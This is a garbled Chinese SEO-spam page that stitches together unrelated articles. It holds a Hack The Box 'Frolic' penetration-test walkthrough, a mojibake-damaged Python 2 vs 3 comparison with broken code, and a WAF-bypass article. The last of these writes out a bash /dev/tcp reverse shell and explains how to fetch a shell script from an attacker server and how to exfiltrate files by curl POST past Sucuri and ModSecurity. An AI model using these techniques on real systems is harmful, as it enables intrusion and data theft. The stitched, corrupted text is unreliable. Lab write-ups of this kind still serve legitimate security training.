【网页批量下载源码】【齐享云php开源网盘源码】【微信公众平台jssdk开发实战 源码】simplehttpserver 源码

2024-11-24 21:33:03 来源:时光验证源码 分类:百科

1.【HTB系列】靶机Frolic的源码渗透测试详解
2.详解python2 和 python3的区别
3.SRS(simple-rtmp-server)流媒体服务器源码分析--RTMP消息play
4.初学Python,有哪些Pythonic的源码源码推荐阅读
5.WAF绕过技术系列文章(二)

simplehttpserver 源码

【HTB系列】靶机Frolic的渗透测试详解

       Hack The Box 平台上提供了多种靶机,从简单到复杂,源码旨在提升渗透测试技能和黑盒测试能力。源码这些靶机模拟了真实世界场景,源码适合不同层次的源码网页批量下载源码挑战。今天,源码我们将详细介绍如何通过靶机 Frolic 的源码渗透测试。

       首先,源码使用 nmap 扫描靶机开放的源码端口和服务。结果显示 SSH(端口 )、源码SMB(端口 和 )以及 HTTP(端口 )。源码

       针对 SMB 服务,源码我们尝试使用 smbmap 查看共享文件。源码发现了两个共享目录,源码但没有访问权限。

       接着,我们通过 nc 工具快速检测了端口 是否开放。结果显示该端口是开启的。随后,访问了该端口,齐享云php开源网盘源码发现了一个简单的欢迎页面,底部包含 “forlic.htb:” 的信息。

       尝试登陆页面时,我们注意到需要账户密码。尽管使用常见默认账户和密码尝试登陆,但均失败。当使用 admin:password 登录时,页面陷入卡顿状态,且系统实施了等待时间限制,禁止暴力破解。

       为了突破限制,我们使用 gobuster 爆破网站目录,成功发现了 /backup、/dev、/test 和 /admin 等目录。在 /backup 中,我们找到了 password.txt 和 user.txt 文件,分别包含了账号密码:admin: imnothuman。

       尝试登陆刚刚发现的 Node-RED 页面时,发现无法登陆。微信公众平台jssdk开发实战 源码我们转而访问 /admin 页面,发现提示剩余尝试次数。通过 Burp Suite 工具抓包发现,未接收到任何反馈信息。检查源代码的 JS 代码,发现了一种编码技巧。复制这段编码到谷歌搜索后,我们访问了作为提示的 URL,并通过解码找到一个 ZIP 文件。

       解压 ZIP 文件后,需要密码,我们使用 zip2john 工具将其转换为密码 HASH,然后使用 john 工具破解,得到了密码:password。再次解压文件,内容疑似 进制格式。转换后,我们发现是一个需要解密的文本,通过谷歌搜索找到对应解码网站,解密后得到 idkwhatispass。cocos2dx游戏开发之旅 源码

       经过多次尝试,我们总共得到了两组密码。我们发现可能还有未被探索的网页,其密码可能属于未被发现的页面。基于此,我们继续使用 gobuster 工具进行进一步的扫描和爆破,最终找到了 /dev 下的 /backup 目录。

       访问此目录并使用刚刚得到的密码尝试登陆。正确的账号密码是 admin: idkwhatispass。接着,我们尝试利用 playsms 的已知漏洞进行攻击。使用 1.4 版本的远程代码执行漏洞,通过 searchsploit-x Path 查找相应的漏洞说明并手动利用。也可以使用 Metasploit 框架中集成的工具进行攻击。

       成功后,我们获得了 user flag。接下来是提权操作,我们使用 LinEnum 工具检查可利用的提升权限点。使用 Python 的 SimpleHTTPServer 模块将 LinEnum 上传到靶机执行,然后在 shell 中运行。易语言免费发短信源码我们注意到带有 SUID 权限的文件,可以通过输入特定内容触发溢出攻击,进而获得 root 权限。

       我们使用 gdb 进行调试,通过插件 pEDA 安装,调试工具帮助我们定位错误位置和计算地址偏移量。通过一系列操作,我们最终获得了 /bin/sh 的地址,并整合系统调用函数 system() 和 exit() 的地址,构建了 payload,成功获取了 root 权限。

       Ms 安全实验室专注于网络安全知识的普及和培训,已出版多本专业书籍,如《Web 安全攻防:渗透测试实战指南》、《内网安全攻防:渗透测试实战指南》等。团队定期在公众号分享技术干货,旨在提供实用的渗透测试实战指南。

详解python2 和 python3的区别

       Python2.x与3.x版本区别

       Python的3.0版本,常被称为Python ,或简称Py3k。相对于Python的早期版本,这是一个较大的升级。

       ä¸ºäº†ä¸å¸¦å…¥è¿‡å¤šçš„累赘,Python 3.0在设计的时候没有考虑向下相容。

       è®¸å¤šé’ˆå¯¹æ—©æœŸPython版本设计的程式都无法在Python 3.0上正常执行。

       ä¸ºäº†ç…§é¡¾çŽ°æœ‰ç¨‹å¼ï¼ŒPython 2.6作为一个过渡版本,基本使用了Python 2.x的语法和库,同时考虑了向Python 3.0的迁移,允许使用部分Python 3.0的语法与函数。

       æ–°çš„Python程式建议使用Python 3.0版本的语法。

       é™¤éžæ‰§è¡ŒçŽ¯å¢ƒæ— æ³•å®‰è£…Python 3.0或者程式本身使用了不支援Python 3.0的第三方库。目前不支援Python 3.0的第三方库有Twisted, py2exe, PIL等。

       å¤§å¤šæ•°ç¬¬ä¸‰æ–¹åº“都正在努力地相容Python 3.0版本。即使无法立即使用Python 3.0,也建议编写相容Python 3.0版本的程式,然后使用Python 2.6, Python 2.7来执行。

       Python 3.0的变化主要在以下几个方面:

1. print 函数

       print语句没有了,取而代之的是print()函数。 Python 2.6与Python 2.7部分地支持这种形式的print语法。在Python 2.6与Python 2.7里面,以下三种形式是等价的:

print "fish"

       print ("fish") #注意print后面有个空格

       print("fish") #print()不能带有任何其它参数

       ç„¶è€Œï¼ŒPython 2.6实际已经支持新的print()语法:

from __future__ import print_function

       print("fish", "panda", sep=', ')

2. Unicode

       Python 2 有 ASCII str() 类型,unicode() 是单独的,不是 byte 类型。

       çŽ°åœ¨ï¼Œ 在 Python 3,我们最终有了 Unicode (utf-8) 字符串,以及一个字节类:byte 和 bytearrays。

       ç”±äºŽ Python3.X 源码文件默认使用utf-8编码,这就使得以下代码是合法的:

>>> ä¸­å›½ = 'china' 

       >>>print(中国) 

       china

       Python 2.x

>>> str = "我爱北京天安门"

       >>> str

       '\xe6\x\x\xe7\x\xb1\xe5\x8c\x\xe4\xba\xac\xe5\xa4\xa9\xe5\xae\x\xe9\x\xa8'

       >>> str = u"我爱北京天安门"

       >>> str

       u'\u\u\u\u4eac\u\u5b\ue8'

       Python 3.x

>>> str = "我爱北京天安门"

       >>> str

       '我爱北京天安门'

3. 除法运算

       Python中的除法较其它语言显得非常高端,有套很复杂的规则。Python中的除法有两个运算符,/和//

3.1首先来说/除法:

       åœ¨python 2.x中/除法就跟我们熟悉的大多数语言,比如Java啊C啊差不多,整数相除的结果是一个整数,把小数部分完全忽略掉,浮点数除法会保留小数点的部分得到一个浮点数的结果。

       åœ¨python 3.x中/除法不再这么做了,对于整数之间的相除,结果也会是浮点数。

       Python 2.x:

>>> 1 / 2

       0

       >>> 1.0 / 2.0

       0.5

       Python 3.x :

>>> 1/2

       0.5

       è€Œå¯¹äºŽ//除法,这种除法叫做floor除法,会对除法的结果自动进行一个floor操作,在python 2.x和python 3.x中是一致的。

       python 2.x :

>>> -1 // 2

       -1

       python 3.x :

>>> -1 // 2

       -1

       æ³¨æ„çš„是并不是舍弃小数部分,而是执行floor操作,如果要截取小数部分,那么需要使用math模块的trunc函数

       python 3.x :

>>> import math

       >>> math.trunc(1 / 2)

       0

       >>> math.trunc(-1 / 2)

       0

4. 异常

       åœ¨ Python 3 中处理异常也轻微的改变了,在 Python 3 中我们现在使用 as 作为关键词。

       æ•èŽ·å¼‚常的语法由 except exc, var æ”¹ä¸º except exc as var。

       ä½¿ç”¨è¯­æ³•except (exc1, exc2) as var可以同时捕获多种类别的异常。 Python 2.6已经支持这两种语法。

       1. 在2.x时代,所有类型的对象都是可以被直接抛出的,在3.x时代,只有继承自BaseException的对象才可以被抛出。

       2. 2.x raise语句使用逗号将抛出对象类型和参数分开,3.x取消了这种奇葩的写法,直接调用构造函数抛出对象即可。

       åœ¨2.x时代,异常在代码中除了表示程序错误,还经常做一些普通控制结构应该做的事情,在3.x中可以看出,设计者让异常变的更加专一,只有在错误发生的情况才能去用异常捕获语句来处理。

5. xrange

       åœ¨ Python 2 中 xrange() 创建迭代对象的用法是非常流行的。比如: for 循环或者是列表/集合/字典推导式。

       è¿™ä¸ªè¡¨çŽ°ååˆ†åƒç”Ÿæˆå™¨ï¼ˆæ¯”如。"惰性求值")。但是这个 xrange-iterable 是无穷的,意味着你可以无限遍历。

       ç”±äºŽå®ƒçš„惰性求值,如果你不得仅仅不遍历它一次,xrange() 函数 比 range() 更快(比如 for 循环)。尽管如此,对比迭代一次,不建议你重复迭代多次,因为生成器每次都从头开始。

       åœ¨ Python 3 中,range() 是像 xrange() 那样实现以至于一个专门的 xrange() 函数都不再存在(在 Python 3 中 xrange() 会抛出命名异常)。

       Python 3 

import timeit

       n = 

       def test_range(n):

           return for i in range(n):

               pass

       def test_xrange(n):

           for i in xrange(n):

               pass

       Python 2

print 'Python', python_version()

       print '\ntiming range()'

       %timeit test_range(n)

       print '\n\ntiming xrange()' 

       %timeit test_xrange(n)

       Python 2.7.6

       timing range()

        loops, best of 3:  µs per loop

       timing xrange() loops, best of 3:  µs per loop

       Python 2.7.6

       timing range()

        loops, best of 3:  µs per loop

       timing xrange()

        loops, best of 3:  µs per loop

       Python 3

print('Python', python_version())

       print('\ntiming range()')

       %timeit test_range(n)

       Python 3.4.1

       timing range()

        loops, best of 3:  µs per loopprint(xrange())

       ---------------------------------------------------------------------------

       NameError                                 Traceback (most recent call last)

       <ipython-input-5-5d8f9bea> in <module>()

       ----> 1 print(xrange())

       NameError: name 'xrange' is not defined

6. 八进制字面量表示

       å…«è¿›åˆ¶æ•°å¿…须写成0o,原来的形式不能用了;二进制必须写成0b。

       æ–°å¢žäº†ä¸€ä¸ªbin()函数用于将一个整数转换成二进制字串。 Python 2.6已经支持这两种语法。

       åœ¨Python 3.x中,表示八进制字面量的方式只有一种,就是0o。

       python 2.x

>>> 0o

       

       >>> 

       python 3.x

>>> 

         File "<stdin>", line 1

           

               ^

       SyntaxError: invalid token

       >>> 0o

       7. ä¸ç­‰è¿ç®—符

       Python 2.x中不等于有两种写法 != 和 <>

       Python 3.x中去掉了<>, 只有!=一种写法,还好,我从来没有使用<>的习惯

8. 去掉了repr表达式``

       Python 2.x 中反引号``相当于repr函数的作用

       Python 3.x 中去掉了``这种写法,只允许使用repr函数,这样做的目的是为了使代码看上去更清晰么?不过我感觉用repr的机会很少,一般只在debug的时候才用,多数时候还是用str函数来用字符串描述对象。

def sendMail(from_: str, to: str, title: str, body: str) -> bool:

           pass

       å¤šä¸ªæ¨¡å—被改名(根据PEP8)

       StringIO模块现在被合并到新的io模组内。 new, md5, gopherlib等模块被删除。 Python 2.6已经支援新的io模组。

       ,而使用最原始地请求:

       如预期的一样,返回了 google.com的页面,基于地理位置,让我跳转到 www.google.de:

       现在,为了做坏事,我使用分号破坏curl语法,尝试执行其他系统命令。但是当我试图读取/etc/passwd文件时,Sucuri就会拦截请求,请求如下:

       被Sucuri拦截的原因如下:“检测到一个RFI/LFI攻击”。我认为(只是一个假设)Sucuri的这个拦截使用了类似于我们上面所提及的“字符串匹配”技术,它可能会拦截所有常见的路径和文件名,如/etc/passwd。当我把这个WAF的拦截力度调到最低时,我就可以利用两个单引号来绕过!

       我知道你现在在想什么:“就算你可以读取passwd文件又怎样……你可以绕过Sucuri WAF得到一个shell吗?”这个问题的答案当然是,YES!唯一的问题就是我们不能使用netcat,因为它还没有安装。

       返回一个shell的最简单方法是使用bash -i命令:bash -i >& /dev/tcp/1.1.1.1/ 0>&1,但不幸的是,它太复杂了,很难彻底绕过WAF,这同时也意味着很难使用一些php、perl或python代码来获得shell。Sucuri WAF频繁拦截了我的请求,原因是:检测到模糊攻击。

       接下来,我尝试使用curl或wget命令将python的反弹shell脚本上传上去,以获得shell。shell.py代码如下:

       然后,我们在本机使用python -c SimpleHTTPServer或php -s等搭建Web服务,方便目标服务器从中下载python文件,下载shell.py文件用以下语法:

       好的,Sucuri Waf没有拦截这个请求,但是ModSecurity通常会拦截这类请求,为了要绕过这类WAF规则,可以使用wget+ip转换+字符串连接来达成:

       第一个命令使用wget下载shell文件到/tmp/。第二个命令使用chmod修改其可执行权限,第三个命令是执行它。如您所见,wget命令发出的请求中没有指明文件名,因此被下载的文件被命名为index.html。你可以使用netcat 命令nc手动写入HTTP的响应头和内容主体来决定文件内容,如下所示:

       接下来,我们要绕过更难的WAF

       你可能认为我们可以用上面的技术绕过OWASP核心规则集的低级规。但是,这是不可能的。因为有两个小东西叫做normalizePath和cmdLine。在ModSecurity中,它们被称为“转换函数”,用于将用户输入的原始数据先转换,然后再匹配。如果WAF认为数据无害,才会发送原始数据到Web服务器。

       normalizePath:它会删除字符串中的多个斜杠、目录的自引用和目录的上级引用(除了最开始的输入)。

       cmdLine:由Marc Stern开发,会将所有的输入规范化,例如/e't'c/pa'ss'wd会被转换规范为/etc/passwd。总之它可以做很多事:

       因为cmdLine,WAF规则就可以拦截所有利用字符串连接来进行远程命令执行的尝试,拦截信息如下:

       现在我不能读取/etc/passwd,但不要绝望!OWASP核心规则集会拦截常用的文件路径和命令,但它不能对目标应用的源代码执行拦截。我虽然不能使用分号(这意味着我不能跳出curl语法),但我可以使用curl来提取文件并将其发送到远程服务器。以上方法可绕过0到3级别的防御。

       主要方法是利用POST的HTTP请求将文件发送到远程服务器,命令如下:

       在此基础上,我们把@编码为%:

       如果防御等级为4,以上这些都不起作用,因为payload中的连字符、正斜杠等字符会引起拦截。但好消息是,防御级别4在生产环境中很少见。

       上面所述的绕过技术同样也可以应用于反斜杠字符。反斜杠不是用来串联字符串,而是用来转义:

       以上就是全部内容。谢谢!

       来源: WAF绕过技术系列文章(二)|NOSEC安全讯息平台 - NOSEC.ORG

       白帽汇从事信息安全,专注于安全大数据、企业威胁情报。

       公司产品:FOFA-网络空间安全搜索引擎、FOEYE-网络空间检索系统、NOSEC-安全讯息平台。

       为您提供:网络空间测绘、企业资产收集、企业威胁情报、应急响应服务。

本文地址:http://5o.net.cn/news/73d255897368.html 欢迎转发